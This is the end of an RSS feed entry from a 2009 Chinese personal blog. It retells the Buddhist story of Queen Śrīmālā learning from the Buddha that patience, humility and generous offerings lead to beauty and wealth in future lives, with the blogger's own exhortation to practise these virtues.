style="color:#ff6600;font-size:16px;line-height:1.8em;"><span style="font-weight:bold"><wbr />　  <span style="color:#ff0000;line-height:1.8em;">胜鬘！女人长的端庄美丽、清秀，品行高洁，</span><wbr />多财富且福德高贵，是由于过去世性情温柔，又能忍让，人说她非，毫不计较，亦不生气，她又能以一切财物建地舍宅香花水果饮食医药，恭敬供养布施沙门及婆罗门，并广行善事，对别人不生嫉妒之心，言行谦逊有礼，而且对他人之好，时常随喜赞叹。</span><wbr /></span><wbr /> <br><br><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff6600;line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="font-size:16px;line-height:1.8em;"><span style="line-height:1.8em;">    <span style="color:#ff0000;line-height:1.8em;">胜鬘啊！这就是妇女们贫富贵贱和美丑的缘故了。</span><wbr /></span><wbr /></span><wbr /><span style="font-size:16px;line-height:1.8em;"><span style="line-height:1.8em;">胜鬘夫人听了世尊的开示，很惭愧而又欢喜的说道！「世尊！我听了你的开示，完全明白自己长得丑陋而身世尊贵的原因，好比从黑暗中得到光明，从荒野中发现了康衢大道，这道理实在太奇妙了。</span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /> <br><br><span style="font-size:16px;line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff6600;line-height:1.8em;"><span style="font-weight:bold"><wbr />　  <span style="color:#ff0000;line-height:1.8em;">我从今天起，纵然有人说我坏话，也不生气，</span><wbr />对别人更不生妒嫉之心，常随喜赞叹他人之善，并要以一切财物、饮食、医药、建地屋宇、香花供养沙门及婆罗门。</span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff6600;line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="line-height:1.8em;"><span style="font-size:16px;line-height:1.8em;">归我统制的妇女很多，我也要教她们如是学，如是行。请世尊收我为弟子吧！我要皈依佛、法、僧三宝，直到终身。 <br></span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /><span style="font-size:16px;line-height:1.8em;"></span><wbr /><br><span style="font-size:16px;line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff6600;line-height:1.8em;"><span style="font-weight:bold"><wbr />    <span style="color:#ff0000;line-height:1.8em;">听完了佛陀的回答，胜鬘夫人的心灵已经得到</span><wbr />光明~看完此文后~！您是不是已经把握到兼具美丽与富贵的要诀了呢？首先要培养温柔的性情、谦虚忍让、不计较、不忌妒，并且能够随喜赞叹别人善行的美德。其次要以衣服、饮食、卧具、医药、香、花、舍宅、财物广行布施，恭敬、供养出家的修行人。今生种下的种子，来生就可以收获了；如是因、如是果，佛陀的真理让您永远离贫穷、丑陋与卑贱。</span><wbr /></span><wbr /></span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244064497#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 03 Jun 2009 21:28:17 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244064497</guid>
</item>

</channel>
</rss>

